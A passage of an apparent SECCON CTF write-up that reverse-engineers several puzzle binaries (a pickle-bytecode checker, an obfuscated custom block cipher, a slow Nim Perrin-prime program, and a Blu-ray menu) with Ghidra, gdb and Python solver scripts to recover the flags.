int.__xor__, lst[i] ] 713: g GET 16 ; [ lst2.append, builtins.pow, int.__xor__, lst[i], iv ] 717: \x86 TUPLE2 ; [ lst2.append, builtins.pow, int.__xor__, (lst[i], iv) ] 718: R REDUCE ; [ lst2.append, builtins.pow, lst[i] ^ iv ] 719: I INT 65537 ; [ lst2.append, builtins.pow, lst[i] ^ iv, 65537 ] 726: I INT 18446744073709551557 ; [ lst2.append, builtins.pow, lst[i] ^ iv, 65537, 18446744073709551557 ] 748: \x87 TUPLE3 ; [ lst2.append, builtins.pow, (lst[i] ^ iv, 65537, 18446744073709551557) ] 749: R REDUCE ; [ lst2.append, pow(lst[i] ^ iv, 65537, 18446744073709551557) ] 750: \x85 TUPLE1 ; [ lst2.append, (pow(lst[i] ^ iv, 65537, 18446744073709551557),) ] 751: R REDUCE ; [ lst2.append(pow(lst[i] ^ iv, 65537, 18446744073709551557)) ] 752: 0 POP ; [ ] 753: g GET 14 ; [ lst2.__getitem__ ] 757: g GET 7 ; [ lst2.__getitem__, i ] 760: \x85 TUPLE1 ; [ lst2.__getitem__, (i,) ] 761: R REDUCE ; [ lst2[i] ] 762: p PUT 16 ; memo[16] = lst2[i] 766: 0 POP ; [ ] 767: g GET 2 ; [ f.seek ] 770: g GET 3 ; [ f.seek, int.__add__ ] 773: g GET 4 ; [ f.seek, int.__add__, int.__mul__ ] 776: g GET 5 ; [ f.seek, int.__add__, int.__mul__, int.__eq__ ] 779: g GET 3 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__ ] 782: g GET 7 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i ] 785: M BININT2 1 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i, 1 ] 788: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, (i, 1) ] 789: R REDUCE ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1 ] 790: p PUT 7 ; memo[7] = i+1 793: M BININT2 8 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1, 8 ] 796: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, (i+1, 8) ] 797: R REDUCE ; [ f.seek, int.__add__, int.__mul__, i+1 == 8 ] 798: M BININT2 131 ; [ f.seek, int.__add__, int.__mul__, i+1 == 8, 131 ] 801: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, (i+1 == 8, 131) ] 802: R REDUCE ; [ f.seek, int.__add__, (i+1 == 8) * 131 ] 803: M BININT2 679 ; [ f.seek, int.__add__, (i+1 == 8) * 131, 679 ] 806: \x86 TUPLE2 ; [ f.seek, int.__add__, ((i+1 == 8) * 131, 679) ] 807: R REDUCE ; [ f.seek, (i+1 == 8) * 131 + 679 ] 808: \x85 TUPLE1 ; [ f.seek, ((i+1 == 8) * 131 + 679,) ] 809: R REDUCE ; [ f.seek((i+1 == 8) * 131 + 679) ] 810: 0 POP ; [ ] ``` In this loop, each list value is xored with variable `iv` (initially it is 1244422970072434993, later it is updated with previous ciphertext, like in CBC block cipher mode). Then it is encrypted with RSA-like algorithm (`n` = 18446744073709551557, `e` = 65537). Results are appended to a new list. ### Checking the result ``` 811: g GET 0 ; [ builtins.getattr ] 814: g GET 12 ; [ builtins.getattr, lst2 ] 818: \x8c SHORT_BINUNICODE '__eq__' ; [ builtins.getattr, lst2, '__eq__' ] 826: \x86 TUPLE2 ; [ builtins.getattr, (lst2, '__eq__') ] 827: R REDUCE ; [ lst2.__eq__ ] 828: ( MARK 829: I INT 8215359690687096682 850: I INT 1862662588367509514 871: I INT 8350772864914849965 892: I INT 11616510986494699232 914: I INT 3711648467207374797 935: I INT 9722127090168848805 956: I INT 16780197523811627561 978: I INT 18138828537077112905 1000: l LIST (MARK at 828) ; [ lst2.__eq__, [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905] ] 1001: \x85 TUPLE1 ; [ lst2.__eq__, ([8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905],) ] 1002: R REDUCE ; [ lst2 == [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905] ] 1003: . STOP ``` Finally, the result is compared against a list of hard-coded values. ## Solving Now that we know exactly what it does, we can write a solver script: ```python= wanted = [ 8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905, ] e = 65537 n = 18446744073709551557 phi = n - 1 # n is prime d = pow(e, -1, phi) iv = 1244422970072434993 flag = b'' for ct in wanted: flag += int.to_bytes(pow(ct, d, n) ^ iv, 8, 'little') iv = ct print(flag) ``` After running it, we get the flag: ``` SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??} ``` # 2. Xuyao We're provided with native x86_64 Linux executable, which asks for message input. After that it prints "Wrong...", so we can expect some validation we need to reverse. ## Initial analysis Let's throw the binary into Ghidra and see what we're dealing with. Right off the bat, we can see it uses some kind of obfuscation, where local procedure data is located in `mmap`-ed memory and accessed via an array of descriptor structures containing offsets and sizes of each chunk. For example, in `main` we can see all data is presented by 1-byte chunks, and there's logic checking their sizes when message is copied into there. ![](https://hackmd.io/_uploads/HkuZQkr1p.png) Following the code, we can see the message is padded with usual PKCSv1.5 padding to 16-byte boundary, then `encrypt`-ed, and checked against static buffer `enc`. ![](https://hackmd.io/_uploads/SJp8VySkT.png) ## Encryption analysis As all other functions, `encrypt` is obfuscated, and is rather bothersome to look at. In a nutshell, it uses some static buffers `cat` and `fish` to somehow initialize itself. It also calls `ks` (key schedule?) and `encrypt_block` functions. ### ks ![](https://hackmd.io/_uploads/rJ5l8yHyT.png) This one is pretty small, but it calls two other functions, so let's look at those: ### tnls ![](https://hackmd.io/_uploads/HyPwIyBJT.png) This one is pretty small, and does SBOX substitution for each byte of a 32-bit value. Apparently, it uses the same SBOX table as AES, which is probably a red herring to trick people into thinking it is some kind of white box AES implementation (and it worked for a moment 🤦‍♂️). Equivalent code: ```python= def tnls(x): r = 0 for i in range(0, 32, 8): r |= sbox[(x >> i) & 0xff] << i return r ``` ### kls ![](https://hackmd.io/_uploads/ryFw_1r1p.png) This one is also pretty straightforward, and does some xors and rotations on a 32-bit input value. Equivalent code: ```python= def kls(x): return x ^ rol(x, 11) ^ ror(x, 7) ``` ### encrypt_block This one is also a bit tedious to look at, but in a nutshell it receives a block of data (4 32-bit values), 32 32-bit subkeys and output pointer, swaps endianness and performs 32 rounds of calling function `r` for each subkey. Equivalent code: ```python= def encrypt_block(block, subkeys): assert len(block) == 16 block = array('I', block) block.byteswap() block = block.tolist() for i in range(32): block = [block[1], block[2], block[3], r(block, subkeys[i])] result = array('I', block[::-1]) result.byteswap() return result.tobytes() ``` ### r ![](https://hackmd.io/_uploads/BykcqJBkp.png) This one is a bit hard to read, but it basically xors 3 last block values with subkey, calls `es` on that and xors the result with first block value. Equivalent code: ```python= def r(block, subkey): return es(block[1] ^ block[2] ^ block[3] ^ subkey) ^ block[0] ``` ### es ![](https://hackmd.io/_uploads/B1RZsyH1T.png) This one looks similar to `ks`, and also calls `tnls` substitution first. But the second step is a bit different. ### els ![](https://hackmd.io/_uploads/HkPnskSkp.png) Also pretty similar to `kls`, a bunch of shifts and xors. Eqivalent code: ```python= def els(x): return x ^ rol(x, 3) ^ rol(x, 14) ^ rol(x, 15) ^ rol(x, 9) ``` ## Solving Now that we know all required pieces, we can write a `decrypt_block` function to undo the encryption: ```python= def decrypt_block(block, subkeys): assert len(block) == 16 block = array('I', block) block.byteswap() block = block.tolist()[::-1] for i in range(31, -1, -1): block = [es(block[0] ^ block[1] ^ block[2] ^ subkeys[i]) ^ block[3], block[0], block[1], block[2]] result = array('I', block) result.byteswap() return result.tobytes() ``` What we're missing now, is subkeys. But we're lazy, so let's just dump them with `gdb` from a runing process: ``` $ gdb ./xuyao > b encrypt_block > r Message: AAAAAAAAAAA > x/64gx $rsi 0x7fffffffcde0: 0x00007ffff7fc1000 0x0000000400000044 0x7fffffffcdf0: 0x00007ffff7fc1000 0x0000000400000048 0x7fffffffce00: 0x00007ffff7fc1000 0x000000040000004c 0x7fffffffce10: 0x00007ffff7fc1000 0x0000000400000050 0x7fffffffce20: 0x00007ffff7fc1000 0x0000000400000054 0x7fffffffce30: 0x00007ffff7fc1000 0x0000000400000058 0x7fffffffce40: 0x00007ffff7fc1000 0x000000040000005c 0x7fffffffce50: 0x00007ffff7fc1000 0x0000000400000060 0x7fffffffce60: 0x00007ffff7fc1000 0x0000000400000064 0x7fffffffce70: 0x00007ffff7fc1000 0x0000000400000068 0x7fffffffce80: 0x00007ffff7fc1000 0x000000040000006c 0x7fffffffce90: 0x00007ffff7fc1000 0x0000000400000070 0x7fffffffcea0: 0x00007ffff7fc1000 0x0000000400000074 0x7fffffffceb0: 0x00007ffff7fc1000 0x0000000400000078 0x7fffffffcec0: 0x00007ffff7fc1000 0x000000040000007c 0x7fffffffced0: 0x00007ffff7fc1000 0x0000000400000080 0x7fffffffcee0: 0x00007ffff7fc1000 0x0000000400000084 0x7fffffffcef0: 0x00007ffff7fc1000 0x0000000400000088 0x7fffffffcf00: 0x00007ffff7fc1000 0x000000040000008c 0x7fffffffcf10: 0x00007ffff7fc1000 0x0000000400000090 0x7fffffffcf20: 0x00007ffff7fc1000 0x0000000400000094 0x7fffffffcf30: 0x00007ffff7fc1000 0x0000000400000098 0x7fffffffcf40: 0x00007ffff7fc1000 0x000000040000009c 0x7fffffffcf50: 0x00007ffff7fc1000 0x00000004000000a0 0x7fffffffcf60: 0x00007ffff7fc1000 0x00000004000000a4 0x7fffffffcf70: 0x00007ffff7fc1000 0x00000004000000a8 0x7fffffffcf80: 0x00007ffff7fc1000 0x00000004000000ac 0x7fffffffcf90: 0x00007ffff7fc1000 0x00000004000000b0 0x7fffffffcfa0: 0x00007ffff7fc1000 0x00000004000000b4 0x7fffffffcfb0: 0x00007ffff7fc1000 0x00000004000000b8 0x7fffffffcfc0: 0x00007ffff7fc1000 0x00000004000000bc 0x7fffffffcfd0: 0x00007ffff7fc1000 0x00000004000000c0 > x/32wx 0x00007ffff7fc1000+0x44 0x7ffff7fc1044: 0xf6067814 0xed73cb7e 0x1583a8b2 0x0dde8d93 0x7ffff7fc1054: 0x23e2374b 0x40b83c72 0x0b3f811a 0xd6e7a993 0x7ffff7fc1064: 0x2622de7c 0xc581dcae 0xa906524c 0xdb4f2cc1 0x7ffff7fc1074: 0x0ddb3477 0x8c1a92a4 0x3bd711c0 0x1bb16503 0x7ffff7fc1084: 0x00acd720 0x2735f2d0 0x9a9300fe 0xfb2556a7 0x7ffff7fc1094: 0xcbe1fe58 0xc03db8c9 0xf77cb701 0x0a1f85ae 0x7ffff7fc10a4: 0x14dd27dc 0xe1a5e3a9 0x41d1f9ee 0xfe6afce7 0x7ffff7fc10b4: 0xd80eac32 0xf43efead 0x6475d80f 0x38a310d6 ``` Now we can copy those values and plug them into the final script: ```python= from Crypto.Util.Padding import unpad from array import array sbox = ( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, ) def rol(x, n): return (x >> (32 - n)) | (x << n) & 0xffffffff def tnls(x): r = 0 for i in range(0, 32, 8): r |= sbox[(x >> i) & 0xff] << i return r def els(x): return x ^ rol(x, 3) ^ rol(x, 14) ^ rol(x, 15) ^ rol(x, 9) def es(x): return els(tnls(x)) def decrypt_block(block, subkeys): assert len(block) == 16 block = array('I', block) block.byteswap() block = block.tolist()[::-1] for i in range(31, -1, -1): block = [es(block[0] ^ block[1] ^ block[2] ^ subkeys[i]) ^ block[3], block[0], block[1], block[2]] result = array('I', block) result.byteswap() return result.tobytes() enc = bytes.fromhex('fe 60 a8 c0 3b fe bc 66 fc 9a 9b 31 9a d8 03 bb a9 e1 56 fc fc 11 9f 89 5f 4d 9f e0 9f ae 2a cf 5e 73 cb ec 3f ff b9 d1 99 44 1b 9a 79 79 ec d1 b4 fd ea 2b e2 f1 1a 70 76 3c 2e 7f 3f 3b 7b 66 a3 4b 1b 5c 0f be dd 98 5a 5b d0 0a 3d 7e 2c 10 56 2a 10 87 5d d9 b9 7f 3e 2e 86 b7 17 04 df b1 27 c4 47 e2 d9 7a 9a 48 7c db c6 1d 3c 00 a3 21') # dumped with gdb subkeys = [ 0xf6067814, 0xed73cb7e, 0x1583a8b2, 0x0dde8d93, 0x23e2374b, 0x40b83c72, 0x0b3f811a, 0xd6e7a993, 0x2622de7c, 0xc581dcae, 0xa906524c, 0xdb4f2cc1, 0x0ddb3477, 0x8c1a92a4, 0x3bd711c0, 0x1bb16503, 0x00acd720, 0x2735f2d0, 0x9a9300fe, 0xfb2556a7, 0xcbe1fe58, 0xc03db8c9, 0xf77cb701, 0x0a1f85ae, 0x14dd27dc, 0xe1a5e3a9, 0x41d1f9ee, 0xfe6afce7, 0xd80eac32, 0xf43efead, 0x6475d80f, 0x38a310d6, ] plaintext = b'' for i in range(0, len(enc), 16): plaintext += decrypt_block(enc[i:i+16], subkeys) print(unpad(plaintext, 16)) ``` And this gives us the flag: ``` SECCON{x86_he2_zhuan1_you3_zi4_jie2_ma3_de_hun4he2} ``` # 3. Optinimize We're given a x86_64 Linux binary, which starts printing the flag, but gradually slows down into waiting forever. As the name suggests, we likely need to optimize it into doing it faster. ## Initial analysis Throwing it into Ghidra immediately reveals `NimMainModule` called from `main`, which suggest it is written in `Nim` language. This is also hinted by the challenge name. Ghidra doesn't support Nim's name demangling, so we can see a bunch of function names like `division__OOZOOZOOZOOZOnimbleZpkgs50Zbigints4549O48O4845505251524853aea53fa50f56575157aff5757d49c49515252ebce4954a56e54Zbigints_u1603` here and there. This both gives us the idea that we're dealing with some big integer arithmetic, and requires to learn calling convention and struct layout for bigints, while renaming those functions to something adequate. ### bigint type and calling convention Luckiy, Nim is open-source, so we can find `bigint` type [here](https://github.com/nim-lang/bigints/blob/master/src/bigints.nim#L8): ``` type BigInt* = object ## An arbitrary precision integer. # Invariants for `a: BigInt`: # * if `a` is non-zero: `a.limbs[a.limbs.high] != 0` # * if `a` is zero: `a.limbs.len <= 1` limbs: seq[uint32] isNegative: bool ``` It inherits from `object` (so we're expecting some kind of preamble), then goes usual limbs array and sign flag: ![](https://hackmd.io/_uploads/B1CnIeB1T.png) Browsing some functions like bigint addition, we learn that result (mutable value) is passed as pointer in `rdi` register, while input bigint arguments are passed by value on stack. That way, we can assign proper function prototypes. ### main Throwing away some junk assignments, `main` code is like this: ```clike= void NimMainModule(void) { long lVar1; ulong uVar5; undefined8 *puVar6; ulong uVar7; long i; long in_FS_OFFSET; bigint_t int_n; bigint_t int_p; bigint_t int_256; bigint_t local_58; i = 0; lVar1 = *(long *)(in_FS_OFFSET + 0x28); do { n__main_u68 = ns__main_u18[i]; i__main_u67 = i; initBigInt(&int_n, n__main_u68); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { Q__main_u13(&int_p, int_n); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { initBigInt(&int_256, 0x100); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { bigIntMod(&k__main_u69, int_p, int_256); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { uVar5 = toInt__main_u70(k__main_u69); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { if (extraout_DL == '\0') { puVar6 = (undefined8 *)nimNewObj(0x40,8); *puVar6 = NTIv2__xyXpGovXZ9bdmhfjWF19axsA_; puVar6[2] = "UnpackDefect"; puVar6[3] = 0x22; puVar6[4] = "\""; puVar6[1] = 0; raiseExceptionEx(puVar6,"UnpackDefect","get","options.nim",0xca); uVar2 = int_n._16_8_; uVar3 = int_p._16_8_; uVar4 = int_256._16_8_; if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { NimMainModule.cold(); return; } } else { uVar7 = cs__main_u19[i__main_u67] ^ uVar5; if (uVar7 < 0x100) { write__stdZsyncio_u355(stdout,(int)(char)((byte)cs__main_u19[i__main_u67] ^ (byte)uVar5)); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { flushFile__stdZsyncio_u277(stdout); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { if (0x26 < i) { bigIntDestroy(&int_256); bigIntDestroy(&int_p); bigIntDestroy(&int_n); bigIntDestroy(&k__main_u69); break; } i += 1; } } } else { raiseRangeErrorU(uVar7,0,0xff); } } } } } } } bigIntDestroy(&int_256); bigIntDestroy(&int_p); bigIntDestroy(&int_n); bigIntDestroy(&k__main_u69); } while (*(char *)(in_FS_OFFSET + -0x80) == '\0'); if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) { nimTestErrorFlag(); return; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } ``` So, for each iteration, it takes a number from `ns__main_u18`, constructs a bigint with its value, calls `Q__main_u13`, takes the result modulo 256, converts it to an integer, xors `cs__main_u19[i]` with it and prints result character. Obviously, `Q__main_u13` is the main culprit of slowing down, so we need to look into it. ### Q__main_u13 ```clike= bigint_t * Q__main_u13(bigint_t *param_1,bigint_t N) { bool bVar1; long in_FS_OFFSET; bigint_t int_result; bigint_t int_i; bigint_t int_accum; bigint_t int_one; bigint_t int_p; bigint_t int_pm; bigint_t int_zero; bigint_t int_one1; undefined local_58 [24]; long local_40; local_40 = *(long *)(in_FS_OFFSET + 0x28); initBigInt(&int_i, 0); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { initBigInt(&int_accum,0); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { do { bVar1 = bigIntLt(int_i, N); if (*(char *)(in_FS_OFFSET + -0x80) != '\0') break; if (!bVar1) { int_result = int_accum bigIntClear(&int_accum); break; } initBigInt(&int_one, 1); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { bigIntAdd(&tmp, int_accum, int_one); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { bigIntMove(&int_accum, tmp); P__main_u4(&int_p, int_accum); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { bigIntMod(&int_pm, int_p, int_accum); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { initBigInt(&int_zero, 0); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { bVar1 = bigIntEq(int_pm, int_zero); if ((*(char *)(in_FS_OFFSET + -0x80) == '\0') && (bVar1)) { initBigInt(&int_one, 1); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { bigIntAdd(&tmp, int_i, int_one); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { bigIntMove(&int_i, tmp); bigIntDestroy(&int_one); } } } } } } } } bigIntDestroy(&int_zero); bigIntDestroy(&int_pm); bigIntDestroy(&int_p); bigIntDestroy(&int_one); } while (*(char *)(in_FS_OFFSET + -0x80) == '\0'); } } bigIntDestroy(&int_accum); bigIntDestroy(&int_i); param_1->isNegative = int_result.isNegative; param_1->unk = int_result.unk; param_1->limbs = int_result.limbs; if (local_40 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return &param_1; } ``` Equivalent code: ```python= def Q__main_u13(n): i, accum = 0, 0 while i < n: accum += 1 p = P__main_u4(accum) if p % accum == 0: i += 1 return accum ``` ### P__main_u4 ```clike= bigint_t * P__main_u4(bigint_t *result,bigint_t x) { bool bVar1; undefined8 *puVar2; long in_FS_OFFSET; bigint_t tmp; bigint_t int_result; bigint_t int_a; bigint_t int_b; bigint_t int_c; bigint_t int_zero; bigint_t int_one; bigint_t int_two; bigint_t int_acc; bigint_t local_d8; undefined tmp2 [32]; undefined int_a_plus_b [32]; bigint_t local_78; undefined local_58 [24]; long local_40; local_40 = *(long *)(in_FS_OFFSET + 0x28); initBigInt(&int_a, 3); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { initBigInt(&int_b, 0); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { initBigInt(&int_c, 2); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { initBigInt(&int_zero, 0); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { bVar1 = bigIntEq(x, int_zero); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { if (bVar1) { int_result = int_a; bigIntClear(&int_a); } else { initBigInt(&int_one, 1); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { bVar1 = bigIntEq(x, int_one); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { if (bVar1) { int_result = int_b; bigIntClear(&int_b); } else { initBigInt(&int_two, 2); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { bVar1 = bigIntEq(x, int_two); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { if (bVar1) { int_result = int_c; bigIntClear(&int_c); } else { initBigInt(&int_two, 2); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { bVar1 = bigIntLt(int_two, x); if (*(char *)(in_FS_OFFSET + -0x80) == '\0') { if (bVar1) { bigIntCopy(&int_acc, x); while (initBigInt(&tmp, 2), *(char *)(in_FS_OFFSET + -0x80) == '\0') { bigIntMove(&local_d8, tmp); bVar1 = bigIntLt(local_d8, int_acc); if (*(char *)(in_FS_OFFSET + -0x80) != '\0') break; if (!bVar1) { bigIntDestroy(&local_d8); int_result = int_c; bigIntClear(&int_c); bigIntDestroy(&int_acc); break; } bigIntAdd(&tmp, int_a, int_b); bigIntMove(&int_a, int_b); bigIntClear(&int_b); bigIntMove(&int_b, int_c); bigIntClear(&int_c); bigIntMove(&int_c, tmp); initBigInt(&local_78, 1); if (*(char *)(in_FS_OFFSET + -0x80) != '\0') break; bigIntSub(&tmp, int_acc, local_78); if (*(char *)(in_FS_OFFSET + -0x80) != '\0') break; bigIntMove(&int_acc, tmp); bigIntDestroy(&local_78); } } else { puVar2 = (undefined8 *)nimNewObj(0x48,8); *puVar2 = NTIv2__9bBsIFwRdpynDhwYKAAtrng_; puVar2[2] = "OSError"; puVar2[3] = 0x10; puVar2[4] = &TM__V45tF8B8NBcxFcjfe7lhBw_2; puVar2[1] = 0; raiseExceptionEx(puVar2,"OSError",&DAT_00112811,"main.nim",0x1a); } } } } } } } } } } } } } } } bigIntDestroy(&int_two); bigIntDestroy(&int_one); bigIntDestroy(&int_zero); bigIntDestroy(&int_c); bigIntDestroy(&int_b); bigIntDestroy(&int_a); result->isNegative = int_result.isNegative; result->unk = int_result.unk; result->limbs = int_result.limbs; if (local_40 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return result; } ``` And equivalent code would be: ```python= def P__main_u4(x): a, b, c = 3, 0, 2 if x == 0: return a if x == 1: return b while x > 2: a, b, c = b, c, a + b x -= 1 return c ``` ## Solving Now that we know what functions do, let's try to understand what' going on. Generating several few elements of `P__main_u4` gives us sequence `3, 0, 2, 3, 2, 5, 5, 7, 10, 12, 17, 22, 29, 39, ...`. Quick googling shows that it is the [Perrin sequnce](https://en.wikipedia.org/wiki/Perrin_number). It has a property that `n|p(n)` for all primes. We can see that it is exacly what `Q__main_u13` is checking, so can conclude that it returns `n`-th Perrin prime. But need to note that this test includes some [pseudoprimes](https://oeis.org/A013998) too, so we need to account for those. Here would be the solver script: ```python= import gmpy2 ns = [ 74, 85, 111, 121, 128, 149, 174, 191, 199, 213, 774, 6856, 9402, 15616, 17153, 22054, 27353, 28931, 36891, 40451, 1990582, 2553700, 3194270, 4224632, 5969723, 7332785, 7925541, 8752735, 10012217, 11365110, 17301654, 26085581, 29057287, 32837617, 39609127, 44659126, 47613075, 56815808, 58232493, 63613165 ] cs = [ 60, 244, 26, 208, 138, 23, 124, 76, 223, 33, 223, 176, 18, 184, 78, 250, 217, 45, 102, 250, 212, 149, 240, 102, 109, 206, 105, 0, 125, 149, 234, 217, 10, 235, 39, 99, 117, 17, 55, 212 ] # https://oeis.org/A013998 pseudoprimes = [ 271441, 904631, 16532714, 24658561, 27422714, 27664033, 46672291, 102690901, 130944133, 196075949, 214038533, 517697641, 545670533, 801123451, 855073301, 903136901, 970355431, 1091327579, 1133818561, 1235188597, 1389675541, 1502682721, 2059739221, 2304156469, 2976407809, 3273820903 ] n = max(ns) seq = [ 0, 1 ] while len(seq) <= n: x = int(gmpy2.next_prime(seq[-1])) while pseudoprimes and x > pseudoprimes[0]: seq.append(pseudoprimes.pop(0)) seq.append(x) flag = '' for n, c in zip(ns, cs): flag += chr(c ^ (seq[n] % 256)) print(flag) ``` It takes some time to run, but after several minutes we get the flag: ``` SECCON{3b4297373223a58ccf3dc06a6102846f} ``` # 4. Perfect Blu We're given an `iso` image containing BDMV Blu-Ray rip. Upon opening with VLC, it shows a keyboard-like menu to enter the flag. ![](https://hackmd.io/_uploads/ByMXBYHJT.png) ## Initial analysis To open BDMV structure, we'll use [BDedit](https://bdedit.pel.hu) software (download on the site seems broken, but it can be downloaded from some mirror). ![](https://hackmd.io/_uploads/Hy4pUYHyT.png) We're interested in the Menu section, so we go to the corresponding tab and load menu from `STREAMS\00000.m2ts`. ![](https://hackmd.io/_uploads/r1IKPKBy6.png) We see a bunch of buttons in top section, each described by (x, y) coordinates and some commands (center left list). For most of them, there's `Call Object 48` instruction, but one with coordinates (453, 672) has `Call Object 1`. Let's quickly write a helper function to translate coordinates into keyboard character: ```python= KEYS = [ '1234567890', 'QWERTYUIOP', 'ASDFGHJKL{', 'ZXCVBNM_-}', ] def xy_to_key(x, y): x = (x - 315) + 50 y = (y - 413) + 50 return KEYS[y // 130][x // 137] ``` We can now see that `xy_to_key(453, 672)` is letter `S`, as in `SECCON`. We're onto something! Searching for command code in hex editor reveals there's button info followed by the commands in `m2ts` file, and we can extract coordinates from there: ![](https://hackmd.io/_uploads/SJg5FYBJa.png) ## Solving Now that we know what to look for, we can craft a script to automate it. After dealing with various caveats, like variable struct length, we come up with a quick and dirty script like this: ```python= import struct KEYS = [ '1234567890', 'QWERTYUIOP', 'ASDFGHJKL{', 'ZXCVBNM_-}', ] def xy_to_key(x, y): x = (x - 315) + 50 y = (y - 413) + 50 return KEYS[y // 130][x // 137] def get_button(path, index): print('processing', path) with open(path, 'rb') as f: data = f.read() pattern = struct.pack('>III', 0x21820000, index + 1, 0) pos = data.find(pattern) if pos == -1: # dirty hack for one corner case pattern = struct.pack('>II', 0x21820000, 0) pos = data.index(pattern) pos = data[:pos].rindex(b'\x00\x04\x00\x00\x00\x00') while True: x, y = struct.unpack_from('>HH', data, pos) if x == 0 and y == 0: return None # hacky way to find coordinates' location if 315 <= x <= 1551 and 413 <= y <= 802: break pos -= 1 return xy_to_key(x, y) flag = '' for i in range(47): c = get_button(f'unpacked/BDMV/STREAM/{i:05}.m2ts', i) print(i, c) flag += c print(flag) ``` And a few moments later we get the flag: ``` SECCON{JWBH-58EL-QWRL-CLSW-UFRI-XUY3-YHKK-KFBV} ``` # 5. Crabox We're provided with the service that can compile a given small Rust 